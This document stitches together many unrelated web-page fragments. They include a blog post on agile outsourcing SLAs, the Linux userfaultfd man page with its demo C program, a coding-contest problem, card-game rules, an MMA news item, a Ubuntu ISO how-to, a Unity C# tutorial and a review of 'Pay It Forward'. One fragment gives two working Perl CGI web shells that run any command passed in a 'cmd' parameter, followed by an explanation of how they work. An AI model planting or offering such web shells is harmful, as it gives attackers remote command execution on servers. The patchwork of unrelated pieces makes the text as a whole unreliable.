Agile Outsourcing
The problem
Outsourcing is a "special" animal. Typically the idea is to save cost by letting a service provider execute work. The saving cost happens because the service provider is supposed to be able to perform this actions at scale. Increasingly outsourcing deals are motivated by a skill squeeze. So instead of maintaining in-house expertise, rely on the vendors to keep the light on.This is where the trouble starts. Negotiations on outsourcing contracts revolves around price (drive it down) and the SLA (add as many 9 behind the comma as possible). The single outcome of such contracts is extreme risk aversion. For illustration here is the impact of SLA levels :
| SLA | Total annual Downtime |
|---|---|
| 98% | 7 days, 6h, 12min |
| 99% | 3 days, 15h, 36min |
| 99.9% | 8h, 45min, 36sec |
| 99.99% | 52min, 34sec |
| 99.999% | 5min, 16sec |
| 99.9999% | 32 sec |
Looking at some of the figures (I can't share) I would claim that short of highly parallel (and expensive) transaction system anything above 99.9% is wishful thinking. That doesn't deter negotiators to aim for a "look how many 9th I got" trophy. (While the Buddha reminds us: one cause of suffering is to close your eyes to reality). Expensive SLA violation clauses let outsourcers freeze all system, since any change (read: patches, upgrades, enhancements) is rightly identified as grave risk (to the profits).
So all sorts of processes and checks get implemented to vet any change request and in practise avoid them.
This usually leads to a lot of bureaucracy and glacial progress. As a result discontent, especially on the use of non-transactional system grows: Stuff like outdated eMail clients, lack of mobile support etc. etc.
The relation between oursourcer and oursourcee grows, inevitably, challenging over time. Does it have to be that way?
Some fresh thinking
Just move to cloud might not be the answer (or everybody would be there, it's such a nice place). So what could be done? Here are some thoughts:- Kiss goodby the wholesale SLA agreement. Classify systems based on business impact. A booking system for an airline surly deserves three nines (I doubt that four would make sense), while a website can live with one nine (as long as it distributed over the year)
- Take a page from the PaaS offerings: each element of the environment has a measurement and a price. So the outsourcing provider can offer ala card services instead of freezing the environment. A catalogue entry could be "Running a current and patched DB/2", another entry could be "Run a legacy IIS, version xx"
- Customer and provider would agree on an annual catalogue value, based on the starting environment and any known plan at the time
- The catalogue would allow to decommission unneeded system and replace them with successors without much hassle (out with PHP, in with node.js)
- Automate, Automate, Automate - An outsourcer without DevOps (Puppet, Chef and tight monitoring) didn't get the 2017 message
- Transparency: Running systems over processes, Customer satisfaction over unrealistic SLA, Automation over documentation (I hear the howling), Repeatable procedures over locked down environments
Posted by Stephan H Wissel on 08 February 2017 | Comments (3) | categories: Software


SpaceTweets is a web application built in Portland, Oregon, United States. We developed and styled this application from the ground up using the Twitter and Google Maps APIs. The idea behind SpaceTweets is to give users the ability to look up tweets by hashtag or screen name and plot them by location. Enjoy!


You are viewing an historical archive of past issues. Please report new issues to the appropriate project issue tracker on GitHub.
Comments
-
Greg Hurrell
- ** This bug has been marked as a duplicate of 276 ***
-
Greg Hurrell
See the bug #276 for more information, and a download link for a build that fixes this.
Add a comment
Comments are now closed for this issue.


--- layout: post title: holi date: '2011-03-19T15:52:45-04:00' tags: [] tumblr_url: https://encoreptl.tumblr.com/post/3965950800/holi ---
Holi!


In order to load an Oak Module, press the button below.
This should be a single Wasm file (i.e. not a complete Oak Application).
If compiled from Rust, it will usually be under the
target/wasm32-unknown-unknown
folder or similar (preferably
a debug build, in order to enable sourcemap support)
Once loaded, open the Chrome dev tools, navigate to the Sources tab, and find the source (Rust) file to debug; set a breakpoint where desired (e.g. near an entrypoint definition) and then press on the Invoke button for the relevant entrypoint (a module may have more than one entrypoint available)
Module loaded.
Imports:
{{ i.module }}.{{ i.name }}
[{{ i.kind }}]
Exports:
{{ e.name }}
[{{ e.kind }}]
Oak ABI call trace:
{{ e }}


Email notification The extract of data can take some time. By providing an email address we will be able
to notify you when the job is complete. The email will provide a link to the extracted data which will be packaged
up as a single compressed file.


We monetize methodologies!
- aggregate bricks-and-clicks communities
- enable web-enabled bandwidth
- evolve granular technologies
- seize value-added e-business
- embrace frictionless mindshare
- syndicate customized networks
- deploy revolutionary web-readiness
- maximize user-centric e-markets
- reintermediate ubiquitous technologies


| USERFAULTFD(2) | Linux Programmer's Manual | USERFAULTFD(2) |
#include <sys/types.h> #include <linux/userfaultfd.h>
int userfaultfd(int flags);
Note: There is no glibc wrapper for this system call; see NOTES.
Once the userfaultfd object is configured, the application can use read(2) to receive userfaultfd notifications. The reads from userfaultfd may be blocking or non-blocking, depending on the value of flags used for the creation of the userfaultfd or subsequent calls to fcntl(2).
The following values may be bitwise ORed in flags to change the behavior of userfaultfd():
When the last file descriptor referring to a userfaultfd object is closed, all memory ranges that were registered with the object are unregistered and unread events are flushed.
It is possible for the faulting threads and the fault-handling threads to run in the context of different processes. In this case, these threads may belong to different programs, and the program that executes the faulting threads will not necessarily cooperate with the program that handles the page faults. In such non-cooperative mode, the process that monitors userfaultfd and handles page faults needs to be aware of the changes in the virtual memory layout of the faulting process to avoid memory corruption.
Starting from Linux 4.11, userfaultfd can also notify the fault-handling threads about changes in the virtual memory layout of the faulting process. In addition, if the faulting process invokes fork(2), the userfaultfd objects associated with the parent may be duplicated into the child process and the userfaultfd monitor will be notified (via the UFFD_EVENT_FORK described below) about the file descriptor associated with the userfault objects created for the child process, which allows the userfaultfd monitor to perform user-space paging for the child process. Unlike page faults which have to be synchronous and require an explicit or implicit wakeup, all other events are delivered asynchronously and the non-cooperative process resumes execution as soon as the userfaultfd manager executes read(2). The userfaultfd manager should carefully synchronize calls to UFFDIO_COPY with the processing of events.
The current asynchronous model of the event delivery is optimal for single threaded non-cooperative userfaultfd manager implementations.
After a successful UFFDIO_API operation, the application then registers memory address ranges using the UFFDIO_REGISTER ioctl(2) operation. After successful completion of a UFFDIO_REGISTER operation, a page fault occurring in the requested memory range, and satisfying the mode defined at the registration time, will be forwarded by the kernel to the user-space application. The application can then use the UFFDIO_COPY or UFFDIO_ZEROPAGE ioctl(2) operations to resolve the page fault.
Starting from Linux 4.14, if the application sets the UFFD_FEATURE_SIGBUS feature bit using the UFFDIO_API ioctl(2), no page-fault notification will be forwarded to user space. Instead a SIGBUS signal is delivered to the faulting process. With this feature, userfaultfd can be used for robustness purposes to simply catch any access to areas within the registered address range that do not have pages allocated, without having to listen to userfaultfd events. No userfaultfd monitor will be required for dealing with such memory accesses. For example, this feature can be useful for applications that want to prevent the kernel from automatically allocating pages and filling holes in sparse files when the hole is accessed through a memory mapping.
The UFFD_FEATURE_SIGBUS feature is implicitly inherited through fork(2) if used in combination with UFFD_FEATURE_FORK.
Details of the various ioctl(2) operations can be found in ioctl_userfaultfd(2).
Since Linux 4.11, events other than page-fault may enabled during UFFDIO_API operation.
Up to Linux 4.11, userfaultfd can be used only with anonymous private memory mappings. Since Linux 4.11, userfaultfd can be also used with hugetlbfs and shared memory mappings.
struct uffd_msg { __u8 event; /* Type of event */ ... union { struct { __u64 flags; /* Flags describing fault */ __u64 address; /* Faulting address */ } pagefault; struct { /* Since Linux 4.11 */ __u32 ufd; /* Userfault file descriptor of the child process */ } fork; struct { /* Since Linux 4.11 */ __u64 from; /* Old address of remapped area */ __u64 to; /* New address of remapped area */ __u64 len; /* Original mapping length */ } remap; struct { /* Since Linux 4.11 */ __u64 start; /* Start address of removed area */ __u64 end; /* End address of removed area */ } remove; ... } arg; /* Padding fields omitted */ } __packed;
If multiple events are available and the supplied buffer is large enough, read(2) returns as many events as will fit in the supplied buffer. If the buffer supplied to read(2) is smaller than the size of the uffd_msg structure, the read(2) fails with the error EINVAL.
The fields set in the uffd_msg structure are as follows:
A read(2) on a userfaultfd file descriptor can fail with the following errors:
If the O_NONBLOCK flag is enabled in the associated open file description, the userfaultfd file descriptor can be monitored with poll(2), select(2), and epoll(7). When events are available, the file descriptor indicates as readable. If the O_NONBLOCK flag is not enabled, then poll(2) (always) indicates the file as having a POLLERR condition, and select(2) indicates the file descriptor as both readable and writable.
The support for hugetlbfs and shared memory areas and non-page-fault events was added in Linux 4.11
The userfaultfd mechanism can be used as an alternative to traditional user-space paging techniques based on the use of the SIGSEGV signal and mmap(2). It can also be used to implement lazy restore for checkpoint/restore mechanisms, as well as post-copy migration to allow (nearly) uninterrupted execution when transferring virtual machines and Linux containers from one host to another.
The program takes one command-line argument, which is the number of pages that will be created in a mapping whose page faults will be handled via userfaultfd. After creating a userfaultfd object, the program then creates an anonymous private mapping of the specified size and registers the address range of that mapping using the UFFDIO_REGISTER ioctl(2) operation. The program then creates a second thread that will perform the task of handling page faults.
The main thread then walks through the pages of the mapping fetching bytes from successive pages. Because the pages have not yet been accessed, the first access of a byte in each page will trigger a page-fault event on the userfaultfd file descriptor.
Each of the page-fault events is handled by the second thread, which sits in a loop processing input from the userfaultfd file descriptor. In each loop iteration, the second thread first calls poll(2) to check the state of the file descriptor, and then reads an event from the file descriptor. All such events should be UFFD_EVENT_PAGEFAULT events, which the thread handles by copying a page of data into the faulting region using the UFFDIO_COPY ioctl(2) operation.
The following is an example of what we see when running the program:
$ ./userfaultfd_demo 3 Address returned by mmap() = 0x7fd30106c000 fault_handler_thread(): poll() returns: nready = 1; POLLIN = 1; POLLERR = 0 UFFD_EVENT_PAGEFAULT event: flags = 0; address = 7fd30106c00f (uffdio_copy.copy returned 4096) Read address 0x7fd30106c00f in main(): A Read address 0x7fd30106c40f in main(): A Read address 0x7fd30106c80f in main(): A Read address 0x7fd30106cc0f in main(): A fault_handler_thread(): poll() returns: nready = 1; POLLIN = 1; POLLERR = 0 UFFD_EVENT_PAGEFAULT event: flags = 0; address = 7fd30106d00f (uffdio_copy.copy returned 4096) Read address 0x7fd30106d00f in main(): B Read address 0x7fd30106d40f in main(): B Read address 0x7fd30106d80f in main(): B Read address 0x7fd30106dc0f in main(): B fault_handler_thread(): poll() returns: nready = 1; POLLIN = 1; POLLERR = 0 UFFD_EVENT_PAGEFAULT event: flags = 0; address = 7fd30106e00f (uffdio_copy.copy returned 4096) Read address 0x7fd30106e00f in main(): C Read address 0x7fd30106e40f in main(): C Read address 0x7fd30106e80f in main(): C Read address 0x7fd30106ec0f in main(): C
/* userfaultfd_demo.c Licensed under the GNU General Public License version 2 or later. */ #define _GNU_SOURCE #include <sys/types.h> #include <stdio.h> #include <linux/userfaultfd.h> #include <pthread.h> #include <errno.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <poll.h> #include <string.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <poll.h> #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) static int page_size; static void * fault_handler_thread(void *arg) { static struct uffd_msg msg; /* Data read from userfaultfd */ static int fault_cnt = 0; /* Number of faults so far handled */ long uffd; /* userfaultfd file descriptor */ static char *page = NULL; struct uffdio_copy uffdio_copy; ssize_t nread; uffd = (long) arg; /* Create a page that will be copied into the faulting region */ if (page == NULL) { page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) errExit("mmap"); } /* Loop, handling incoming events on the userfaultfd file descriptor */ for (;;) { /* See what poll() tells us about the userfaultfd */ struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); printf("\nfault_handler_thread():\n"); printf(" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n", nready, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0); /* Read an event from the userfaultfd */ nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) { printf("EOF on userfaultfd!\n"); exit(EXIT_FAILURE); } if (nread == -1) errExit("read"); /* We expect only one kind of event; verify that assumption */ if (msg.event != UFFD_EVENT_PAGEFAULT) { fprintf(stderr, "Unexpected event on userfaultfd\n"); exit(EXIT_FAILURE); } /* Display info about the page-fault event */ printf(" UFFD_EVENT_PAGEFAULT event: "); printf("flags = %llx; ", msg.arg.pagefault.flags); printf("address = %llx\n", msg.arg.pagefault.address); /* Copy the page pointed to by 'page' into the faulting region. Vary the contents that are copied in, so that it is more obvious that each fault is handled separately. */ memset(page, 'A' + fault_cnt % 20, page_size); fault_cnt++; uffdio_copy.src = (unsigned long) page; /* We need to handle page faults in units of pages(!). So, round faulting address down to page boundary */ uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); printf(" (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy); } } int main(int argc, char *argv[]) { long uffd; /* userfaultfd file descriptor */ char *addr; /* Start of region handled by userfaultfd */ unsigned long len; /* Length of region handled by userfaultfd */ pthread_t thr; /* ID of thread that handles page faults */ struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; if (argc != 2) { fprintf(stderr, "Usage: %s num-pages\n", argv[0]); exit(EXIT_FAILURE); } page_size = sysconf(_SC_PAGE_SIZE); len = strtoul(argv[1], NULL, 0) * page_size; /* Create and enable userfaultfd object */ uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) errExit("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl-UFFDIO_API"); /* Create a private anonymous mapping. The memory will be demand-zero paged--that is, not yet allocated. When we actually touch the memory, it will be allocated via the userfaultfd. */ addr = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) errExit("mmap"); printf("Address returned by mmap() = %p\n", addr); /* Register the memory range of the mapping we just created for handling by the userfaultfd object. In mode, we request to track missing pages (i.e., pages that have not yet been faulted in). */ uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl-UFFDIO_REGISTER"); /* Create a thread that will process the userfaultfd events */ s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd); if (s != 0) { errno = s; errExit("pthread_create"); } /* Main thread now touches memory in the mapping, touching locations 1024 bytes apart. This will trigger userfaultfd events for all pages in the region. */ int l; l = 0xf; /* Ensure that faulting address is not on a page boundary, in order to test that we correctly handle that case in fault_handling_thread() */ while (l < len) { char c = addr[l]; printf("Read address %p in main(): ", addr + l); printf("%c\n", c); l += 1024; usleep(100000); /* Slow things down a little */ } exit(EXIT_SUCCESS); }
Documentation/admin-guide/mm/userfaultfd.rst in the Linux kernel source tree
| 2020-02-09 | Linux |


Use this form to contribute scientific work to the public domain by publishing it to the Distributed Bulletin of Open Science. For more about DBOS, see the about page.
{{#errors}}The submitted publication had invalid input.
{{/errors}}Use this form to contribute scientific work to the public domain by publishing it to the Distributed Bulletin of Open Science. For more about DBOS, see the about page.
{{#errors}}The submitted publication had invalid input.
{{/errors}}


--- layout: default title: Land the Job - Free Download excerpt: Your free download of Land the Job. Land the developmentjob you wan tin six months or less. cover_image: https://ryanlatta.com/careers/images/your10kresume.jpg --- Free download of Land the Job Land the Job - Kindle Land the Job - PDF Land the Job - ePub


In as much as their are more than 1.5 million Kenyans living with HIV/AIDS, not all of them live in an environment which is favourable for their conditions.Many do face alot of problems. The aim of this website was to address the issue which are faced by this people and help them with one way or the other.This will be of much help to them because it help them see that they are indeed loved, cared and appreciated in the society despite them living with HIV/AIDS. Demo
In the mordern world that we are living in,pets have become popular in most of the homes.Pets are part of our everyday lives and also part of our families.They provide as with companionship but also with emotional support, reduce our stress levels, sense of loneliness and help us to increase our social activities and sdd to ouer child's self-esteem and positive emotions development.The website which is for my favourite pet was to express the love that people do have for the pets.Demo


CREATIVE LEADS TO THINKING,
THINKING GIVES KNOWLEDGE,
KNOWELDGE MAKES YOU GREAT....
Don't worry about the past, think about the future and reach your goals.After reaching your goal if you
turn back and see there will be a path were you come across so many difficulties.
If you fall,you stand-up.One has to face all the problems in his life and has to find
the solution for that problems, that is the true spirit
you must have.


please selection gesture digit image files and click "Upload file"button. off course, direct click "Next" button to experience is OK.


| grouping | page | description |
| FORTRAN:EXECUTION CONTROL | block | block construct(LICENSE:PD) |
| FORTRAN:EXECUTION CONTROL | exit | statement (LICENSE:PD) |
| FORTRAN:EXECUTION_CONTROL | continue | execution of a CONTINUE statementhas no effect |
| FORTRAN:FILE_POSITIONING | backspace | - backspace one record onspecified I/O unit |
| FORTRAN:FILE_POSITIONING | rewind | rewind specified sequentialaccess I/O unit |
| FORTRAN:IO | close | terminate the connection of a specified unitto an external file. |
| FORTRAN:IO | flush | flush I/O buffers of specified files |
| FORTRAN:STATEMENT | return | completes execution of the instanceof the subprogram in which it appears |
| FORTRAN:STATEMENT | stop | initiates termination ofexecution |
| FORTRAN | include | including source text |


Code Wars II
Danger Level: Green
}Spellbinder~
Point Value: 2
Problem Statement
Letterman's arch nemesis Spellbinder has escaped Semitree Seed Asylum and is now terrorizing the city with his devastating cruelty. Write a program to determine Letterman's arsenal to fight Spellbinder.
Program Input
Each line in the input file PROB02.IN contains two words. The first is the "original" word, and the second is the word as modified by Spellbinder:
fountain mountain
pet pen
check chuck
Mike bike
Program Output
The program should write the name of the required letter to PROB02.OUT in traditional campy Letterman style:
Ripping the lower-case "f" from his
shirt, Letterman
changes "mountain" back to "fountain".
Ripping the lower-case "t" from his
shirt, Letterman
changes "pen" back to "pet".
Ripping the lower-case "e" from his
shirt, Letterman
changes "chuck" back to "check".
Ripping the capital "M" from his shirt,
Letterman
changes "bike" back to "Mike".


⭐ Hero - Increase maximal cost by 7.
🔥 Underdog - Captures attacked tied sides if they have a higher card cost.
⚔ Tiebreaker - If 2 or more attacked sides are tied with this, capture them.
💰 Bribe - If 2 or more attacked sides have equal cost as this, capture them.
☘ Ambush - If my cost equals the sum of all attacked sides, capture them.
👋 Reach - Attacks cards over the adjacent allied cards.
⛓ Chain - If I'm captured or capture with an ability, replay captured card(s).
🧛 Veil - Hide the sides and abilities of this card until it captures or is captured.
📌 Spike - Deal a normal attack to cards normally played next to this card.
Click on # to import a card or click on the sides, abilities and images to change them manually.
Deck
Max. card cost is __/⭐__/⭐⭐__.
Card sides range over 1-A (1-10).
Sum of all sides can't exceed ___.
Gameplay
Two players alternate placing cards on a 3×3 grid. The decks are public (except 🧛 cards).
Played card attacks adjacent cards of opposite loyalty. Attacked cards with weaker sides are captured and change loyalty.
Game ends on full grid, and the player with most captures wins.


Number of entities for institutions, agencies or other bodies in EU Whoiswho
You can click on any circle to access the content.


Learn more about Gospel-ly at our website
Learn more about BuildInTheCloud at our website
Have a suggestion or issue click here
Bible data provided by thiagobodruk/bible
Books of the Bible icons by overviewbible


Video: Hussain Ayyad suffers ugly injury at Brave CF 29
by Alexander K. LeeWARNING: Post contains brief footage of in-cage injury.
A flyweight bout at a Brave CF event in Bahrain ended in ugly fashion on Friday.
Bahrain’s own Hussain Ayyad was in action against unbeaten Latvian fighter Matiss Zaharovs when he landed an ill-fated leg kick that resulted in what appeared to be an ankle injury.
The bout was immediately waved off and Zaharovs was awarded a first-round TKO victory. Zaharovs is now 3-0 as a pro, while Ayyad falls to 4-3. Hopefully for Ayaad, he doesn’t suffer any significant damage outside of another loss on his record.


===Accessibility===
The final element in the threat actor capability analysis is their accessibility to the organization and/or the specific assets in question. Completing the profile depicted above while factoring in accessibility analysis would enable the penetration test to create clear scenarios that are relevant to the organization’s risk.


The South Asian Club at BCA aims to raise funds for a charity while promoting cultural awareness at the Bergen County Academies. We hold multiple events throughout the year to raise money for Sahaita. Sahaita is a non-profit organization committed to educating, supporting, and uplifting the underprivileged members of society. They accomplish this through healthcare initiatives, education sponsorships, vocational training and affiliated partner non-profit organizations. South Asian Club donates 100% of its funds to Sahaita. In the past, we have held South Asian themed cultural nights, fashion shows, dances, and festive celebrations. To get involved join us for our weekly meetings in Dr. Bajwa's room (Rm. 147) every Thursday morning at 7:40!


Protected Properties | |
| string[] | $warnings = [] |
Protected Methods | |
| void | writeDocBlock (RefXML $xml, string $docblock) |
| Writes the docblock. More... | |
| void | writeDocBlock_Prune (&$docblock) |
| void | writeDocBlock_Tags (RefXML $xml, string &$docblock) |
| void | writeDocBlock_Tags_internal (RefXML $xml, string &$docblock) |
| void | writeDocBlock_Tags_see (RefXML $xml, string &$docblock) |
| void | writeDocBlock_Tags_todo (RefXML $xml, string &$docblock) |
|
protected |
Writes the docblock.
Instead of pulling the docblock from $this
, a working-copy is given.
This gives the reflector a chance to modify the docblock before it's committed.
The docblock is cleaned of inconsequential leading whitespace (before *
) on each line, and is ultimately ignored if empty.
| RefXML | $xml | |
| string | $docblock |
|
protected |
| $docblock |
|
protected |
| RefXML | $xml | |
| string | $docblock |
Reimplemented in AbstractRefClass.
|
protected |
| RefXML | $xml | |
| string | $docblock |
|
protected |


asyncio
â Asynchronous I/OÂ¶
asyncio is a library to write concurrent code using the async/await syntax.
asyncio is used as a foundation for multiple Python asynchronous frameworks that provide high-performance network and web-servers, database connection libraries, distributed task queues, etc.
asyncio is often a perfect fit for IO-bound and high-level structured network code.
asyncio provides a set of high-level APIs to:
- run Python coroutines concurrently and have full control over their execution;
- perform network IO and IPC;
- control subprocesses;
- distribute tasks via queues;
- synchronize concurrent code;
Additionally, there are low-level APIs for library and framework developers to:
- create and manage event loops, which
provide asynchronous APIs for
networking
, runningsubprocesses
, handlingOS signals
, etc; - implement efficient protocols using transports;
- bridge callback-based libraries and code with async/await syntax.
Reference


Placecomplete
A Select2/jQuery plugin for location autocomplete powered by the Google Maps API
Choose a location:


With ``
#!/usr/bin/perl
#web shell using backticks
use CGI;
my $cgi = new CGI;
my $command = $cgi->param('cmd');
if($command eq "")
{
$command = "pwd";
}
$result = `$command`;
print $result;
exit;
With open()
#!/usr/bin/perl
#web shell open
use CGI;
my $cgi = new CGI;
my $command = $cgi->param('cmd');
if($command eq "")
{
$command = "pwd";
}
open lol, "/bin/sh $command|" or die "Failed to open pipeline";
while(<lol>) {
print;
}
exit;
First we declare the program as a perl document with #!/usr/bin/perl. Then we declare some objects for cgi and declare some variables. my $command = $cgi->param('cmd'); sets the variable 'command' to the GET'd variable 'cmd'. A funny thing about perl is that $cgi->param() functions with both GET and POST variables unlike other languages which make the distinction between the 2 requests. The code then checks to see if the command string is null filling it with 'pwd' if it is. It then passes the command to the backtick operators which executes the command and then prints the result. In the other version instead of using the backtick operators, the code uses open() with a handle to the process being read, then the command is passed as part of the string to /bin/bash to be executed. Then the output is printed.


Today I spent a few hours to build Ubuntu ISO image to install ubuntu server in a headless box.
Putting it together
Download Ubuntu server distribution ISO image
Ubuntu server ISO images are available from ubuntu download site.
I used ubuntu server 15.04.
Save ISO image to a linux box, which you have sudo or root access
Because you need to mount ISO image to extract the content and modified it..
e.g. /scratch/ubuntu-15.04-server-amd64.iso
Mount ISO image and make a copy to modify
Next is to mount ISO image using loop mount so that we can access the files inside ISO image.
Since ISO image mount is typically read only, we need to make a copy from ISO mounting directory.
Please use either root or sudo to do the following commands.
Modify SYSLINUX boot config and Linux boot kernel config
Ubuntu ISO image uses [syslinux] (http://www.syslinux.org/) as bootloader. By default, it uses VGA as graphic output.
We need disable graphic and make it goes to serial port/console ttyS0 by modifying files:
isolinux/isolinux.cfg
isolinux/menu.cfg
isolinux/txt.cfg
Remake ISO image using mkisofs
Boot ISO image in headless box to install
Burn ISO image into CD, and boot ISO image in a headless box through CDROM, connect serial/console port with speed 115200, wow!
Following the usual installation steps to complete installation.
After installation is complete, boots!
Conclusion
Ubuntu server can be installed in a headless box, which has even less 2GB disk space.


--- tags: - data - districts - health author: display_name: JP email<EMAIL_ADDRESS>date: 2011-11-21 17:16:46 -0700 categories: [] HealthDistricts: hub: name: Utah Health Care Districts item_id: 2c738e87f55e4383b82a3c1cd08c8208 updates: - January 2016 --- {% include abstract.html name="Local Health Districts" stewards="Utah Department of Health & UGRC" abstract="Local Health Districts contains the health districts in the state of Utah. These districts are often the main entity for reporting and tracking communicable diseases, as well as providing services to the community and state that include investigation of disease outbreaks, health education, health screenings and immunizations, and food regulation for establishments." %}
Local Health Districts contains the health districts in the state of Utah. These districts are often the main entity for reporting and tracking communicable diseases, as well as providing services to the community and state that include investigation of disease outbreaks, health education, health screenings and immunizations, and food regulation for establishments.
The DISTNAME
field contains the district name.
{% include contact.html subject=page.title contact=site.data.contacts.agrc %}


Programming! Lets start with the basics:
And now you can program!
Okay so lets look at some real (simple) code. This is come C# code, it the same stuff I use at work and the same stuff used by the Unity game engine to make games like Kerbal Space Program and Cities: Skylines. I decided that the most interesting that I can start with is the Unity engine, there are going to be more keywords and unknown things thrown at you from the tsart, but you'll be able to make interesting things almost straight away.
using UnityEngine; public class HelloWorld : MonoBehaviour { // Use this for initialization void Start () { int age = 24; Debug.Log(age); int newAge = AddOne(age); Debug.Log(age); Debug.Log(newAge); } int AddOne(int input) { return input + 1; } }
So here we have this really simple script, the code within the void Start()
function is run when the script is run for the first time. Here we have an example of setting a variable value, displaying that value to the Debug console and then calling a function.
This is also an example of making our own function int AddOne(int input)
that simply takes the value you give it and returns that value plus one. In addition you can see that age
is not affected when it is passed to AddOne
.
And that's our first program, it doesn't really do anything, but it already touches on a bunch of important things, basically declaring variables and calling functions.


Before Change
self.commit()
def get_by_owner_and_name(self, owner, name):
self.execute("SELECT id, root FROM graph WHERE owner=%s AND name=%s", (owner.id, name))
row = self.cur.fetchone()
self.id = row[0]
self.root = Node().get_by_id(row[1])
After Change
self._set_field("root", root.d["_id"])
def get_by_owner_and_name(self, owner, name):
self.d = self.db.nodes.find_one({"owner": owner.d["_id"], "label": name})
return self
def add_link(self, orig, targ, rel, rel_raw, sentence="", directed=1):


Customer Area
[[${success}]]
×
[[${deleted}]]
×
Customer Lists
+ Add Customer
First Name
Last Name
Email
Actions
[[${customer.firstName}]]
Edit
Delete


PAY IT FORWARD (2000) Reviewed by Jerry Saravia March 5th, 2001
You have heard the concept before. You receive an e-mail or a letter in the mail regarding a great new opportunity - you send one dollar to seven addresses and they will send one dollar to seven others, and so on. Before you know it, you will make thousands of dollars a month. The idea forms a chain or a pyramid strategy, hence, chain letters. The reason the idea does not work is because it feels like a rip-off, plus whose to say that people will follow through and pay it forward. The film "Pay it Forward" wants us to believe that people repaying acts of kindness for kindness done upon them can work if a kid makes them believe in the idea. But how many people are genuinely kind enough to follow through with such a plan? Do we want to be forced to act kindly?
Consider the opening sequence of the film set in an elementary school. Trevor McKinney (Haley Joel Osment), a seventh grader, listens attentively in class as his social-studies teacher, Mr. Simonet (Kevin Spacey), gives an extra-credit assignment for the semester. The class is to come up with a plan of action to make the world a better place and follow through by performing said action. Trevor devises an original plan: one person does an act of kindness for someone and that person will pay it forward by helping three other people. A chain reaction is expected as numbers will grow and before you know it, the world will be at peace again. But there are flaws with such a plan, aren't there?  There may be benefits if the acts are reciprocated but what if they aren't? This movie never dares to consider that certain people do not want to be helped or even want to act kindly.
For example, there is the homeless drug addict, Jerry (Jim Caviezel), who is taken home by Trevor. We sense that Jerry is only interested in his next fix, which he is, but he also claims that this kid has helped him to see the light and get another chance at life. There is the homeless alcoholic (Angie Dickinson), her own alcoholic daughter, Arlene, Trevor's mother (Helen Hunt), who always keep a bottle stashed in her washer. There is also another drug addict and a couple of school bullies. And then there is Mr. Simonet, who has burn scars all over his body, uses "a lot of big words" and whom Trevor tries to fix up with his mother, Arlene. Trevor hopes to at least help his mother and Mr. Simonet, as well as his friend who is beaten up by bullies. He is trying to pay it forward. Suddenly, a movement is born, or so it seems.
"Pay it Forward's" structure is all over the place, as it jumps backwards and forwards in time. We see a reporter (Jay Mohr) at a crime scene where his car is nearly demolished. A lawyer sees him, and offers his Jaguar as compensation for the reporter's loss. The lawyer is paying it forward, and thus begins the reporter's quest to discover the origins of this movement. "Four Months Earlier" is the title reminding us of where we are in time yet throughout the film, Jay Mohr's character seems to occupy the same timeline as Trevor's, particularly during the genesis of his plan.
Time shifting is not this film's problem. A bigger flaw is the lack of time spent on this ingenious plan, its pros and cons and so on. Too much time is devoted to the silly romance between Mr. Simonet and Trevor's mother to the point of nausea. Helen Hunt is astoundingly good as the trashy waitress but her alcoholic mood swings seem too abrupt to really believe, or as abrupt as it should be. She undergoes such a quick recovery that it hardly seems plausible she was ever an alcoholic to begin with. Kevin Spacey is adequately restrained as the scarred Mr. Simonet, and has all the best dialogue scenes. But hardly much of this matters as much as Trevor's plan of action. We see samples of it but not enough is balanced with the film's increasingly tepid romance, not to mention the inclusion of Trevor's own father (Jon Bon Jovi) who appears and disappears so fast that you'll forget he ever existed. I would also have liked to have seen more of Dickinson's character or even Caviezel's.
Some have called "Pay it Forward" shamelessly manipulative and overly sentimental. Some have called it touching. I just found the Spacey and Hunt characters real and engaging yet they are mostly saddled with unrealistic dialogue and shameless cliches, and the rest of the characters are mere stereotypes. The film is strangely watchable but also devoid of real human emotion, and plus there is a tragic, unbelievable coda that negates most of the film's two hour running time. All in all, not terrible but too thin and cliche-ridden to recommend to anyone, let alone three people.
For more reviews, check out JERRY AT THE MOVIES at http://moviething.com/members/movies/faust/JATMindex.shtml
E-mail me with any questions, comments or general complaints at<EMAIL_ADDRESS>or at<EMAIL_ADDRESS>========== X-RAMR-ID: 29071 X-Language: en X-RT-ReviewID: 242690 X-RT-TitleID: 1101147 X-RT-SourceID: 875 X-RT-AuthorID: 1314
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


One: demonstrations always crash. And two: the probability of them crashing goes up exponentially with the number of people watching. --Steve Jobs [source]


iab!filter -type (FilterID) (Parameters)
